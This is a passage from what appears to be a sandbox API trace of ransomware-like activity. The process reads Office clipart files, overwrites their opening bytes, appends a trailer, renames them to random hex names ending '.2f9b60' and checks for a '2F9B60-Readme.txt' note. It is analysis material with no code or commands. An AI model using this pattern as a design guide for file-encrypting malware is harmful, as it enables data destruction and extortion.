(HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ec0d80 [0106.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7740 [0106.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7740) returned 1 [0106.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.770] WriteFile (in: hFile=0x1594, lpBuffer=0x41ec0d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cf1fa00, lpOverlapped=0x0 | out: lpBuffer=0x41ec0d80*, lpNumberOfBytesWritten=0x2cf1fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0106.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec0d80) returned 1 [0106.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ebd170) returned 1 [0106.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8880 [0106.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced84c0 [0106.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0106.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.781] SetFilePointerEx (in: hFile=0x1594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.781] WriteFile (in: hFile=0x1594, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2cf1fab0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2cf1fab0*=0x10a, lpOverlapped=0x0) returned 1 [0106.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0106.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0106.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0106.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d70 [0106.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d70) returned 1 [0106.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.789] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="c0") returned 2 [0106.789] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="ac") returned 2 [0106.789] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="7e") returned 2 [0106.789] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="21") returned 2 [0106.789] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="ae") returned 2 [0106.789] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="07") returned 2 [0106.789] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="9d") returned 2 [0106.789] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="15") returned 2 [0106.789] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="ae") returned 2 [0106.789] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="86") returned 2 [0106.789] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="89") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="a9") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="f5") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="34") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="3b") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="f7") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="b7") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="2f") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="20") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="98") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="f4") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="54") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="51") returned 2 [0106.790] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="4d") returned 2 [0106.790] RtlInitAnsiString (in: DestinationString=0x2cf1fb28, SourceString="c0ac7e21ae079d15ae8689a9f5343bf7b72f2098f454514d" | out: DestinationString="c0ac7e21ae079d15ae8689a9f5343bf7b72f2098f454514d") [0106.790] RtlAnsiStringToUnicodeString (in: DestinationString=0x2cf1faf8, SourceString="c0ac7e21ae079d15ae8689a9f5343bf7b72f2098f454514d", AllocateDestinationString=1 | out: DestinationString="c0ac7e21ae079d15ae8689a9f5343bf7b72f2098f454514d") returned 0x0 [0106.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5fd0 [0106.791] RtlFreeAnsiString (AnsiString="c") [0106.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0106.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8400) returned 1 [0106.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d40) returned 1 [0106.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7260) returned 1 [0106.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x205001d0 [0106.792] wcscat (in: _Dest=0x205001d0, _Source="c0ac7e21ae07" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07" [0106.792] wcscat (in: _Dest=0x205001d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07.2f9b60" [0106.792] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07.2f9b60", NtPathName=0x2cf1fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279730 [0106.792] NtSetInformationFile (FileHandle=0x1594, IoStatusBlock=0x2cf1fb70, FileInformation=0x20279730, Length=0xac, FileInformationClass=0xa) returned 0x0 [0108.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279730) returned 1 [0108.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202925e0) returned 1 [0108.257] NtQueryInformationFile (in: FileHandle=0x1594, IoStatusBlock=0x2cf1fb38, FileInformation=0x2cf1fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cf1fb38, FileInformation=0x2cf1fb48) returned 0x0 [0108.257] NtSetInformationFile (FileHandle=0x1594, IoStatusBlock=0x2cf1fb38, FileInformation=0x2cf1fb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205001d0) returned 1 [0108.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5fd0) returned 1 [0108.267] FlushFileBuffers (hFile=0x1594) returned 1 [0108.280] CloseHandle (hObject=0x1594) returned 1 [0108.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500090 [0108.284] wcscpy (in: _Dest=0x20500090, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0108.284] wcscat (in: _Dest=0x20500090, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0108.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0108.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500090) returned 1 [0108.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4cc30) returned 1 Thread: id = 726 os_tid = 0x123c [0096.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0106.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF", dwFileAttributes=0x20) returned 1 [0106.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15a0 [0106.604] GetFileSizeEx (in: hFile=0x15a0, lpFileSize=0x2d43f720 | out: lpFileSize=0x2d43f720*=40206) returned 1 [0106.604] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x9d0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.604] ReadFile (in: hFile=0x15a0, lpBuffer=0x2d43f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d43f6e8, lpOverlapped=0x0 | out: lpBuffer=0x2d43f6a0*, lpNumberOfBytesRead=0x2d43f6e8*=0x4, lpOverlapped=0x0) returned 1 [0106.609] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.609] NtQuerySystemTime (in: CurrentTime=0x2d43f5e0 | out: CurrentTime=0x2d43f5e0*=132462177120934000) returned 0x0 [0106.609] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0xa893ca8 [0106.609] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0xf74ff97 [0106.609] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x652ba469 [0106.609] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x2badf429 [0106.609] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x5e450bd1 [0106.609] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0xc64830c [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x67720020 [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x6fed1ed7 [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x3b3b2a45 [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x5f252b04 [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x55147e09 [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x6b81dcab [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x53ee876a [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x74a70cba [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x29012c5e [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x516a04e2 [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x19cbac77 [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x7db8d2da [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x423cb8ed [0106.610] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x756af2fc [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x6e0e9cd3 [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x1d2165f3 [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x5f152500 [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x7b9dab9e [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x7ab7b6d1 [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x6002df62 [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x56c2d8ec [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x793d57fa [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0xfbd3d82 [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x6dc4d4db [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x49190c94 [0106.611] RtlRandomEx (in: Seed=0x2d43f5d0 | out: Seed=0x2d43f5d0) returned 0x193a7a44 [0106.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ec0d80 [0106.624] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.624] ReadFile (in: hFile=0x15a0, lpBuffer=0x41ec0d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d43f640, lpOverlapped=0x0 | out: lpBuffer=0x41ec0d80*, lpNumberOfBytesRead=0x2d43f640*=0x3c00, lpOverlapped=0x0) returned 1 [0106.631] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9f0f0 [0106.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0106.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0106.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.632] WriteFile (in: hFile=0x15a0, lpBuffer=0x41e9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d43f640, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesWritten=0x2d43f640*=0x3c00, lpOverlapped=0x0) returned 1 [0106.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0106.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec0d80) returned 1 [0106.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7d40 [0106.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0106.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7260) returned 1 [0106.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7260 [0106.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0106.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.652] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.652] WriteFile (in: hFile=0x15a0, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d43f6f0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2d43f6f0*=0x10a, lpOverlapped=0x0) returned 1 [0106.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.680] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="9d") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="d1") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="34") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="6c") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="07") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="47") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="d1") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="7b") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="ac") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="9a") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="bd") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="68") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="44") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="3b") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="f7") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="7e") returned 2 [0106.680] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="72") returned 2 [0106.681] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="54") returned 2 [0106.681] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="b0") returned 2 [0106.681] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="a4") returned 2 [0106.681] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="7d") returned 2 [0106.681] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="c1") returned 2 [0106.681] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="48") returned 2 [0106.681] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="12") returned 2 [0106.681] RtlInitAnsiString (in: DestinationString=0x2d43f768, SourceString="9dd1346c0747d17bac9abd68443bf77e7254b0a47dc14812" | out: DestinationString="9dd1346c0747d17bac9abd68443bf77e7254b0a47dc14812") [0106.681] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d43f738, SourceString="9dd1346c0747d17bac9abd68443bf77e7254b0a47dc14812", AllocateDestinationString=1 | out: DestinationString="9dd1346c0747d17bac9abd68443bf77e7254b0a47dc14812") returned 0x0 [0106.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5da0 [0106.681] RtlFreeAnsiString (AnsiString="9") [0106.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7260) returned 1 [0106.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8400) returned 1 [0106.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d40) returned 1 [0106.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x204ffd70 [0106.682] wcscat (in: _Dest=0x204ffd70, _Source="9dd1346c0747" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9dd1346c0747") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9dd1346c0747" [0106.683] wcscat (in: _Dest=0x204ffd70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9dd1346c0747.2f9b60") returned="C:\\Program Files\\Microsoft 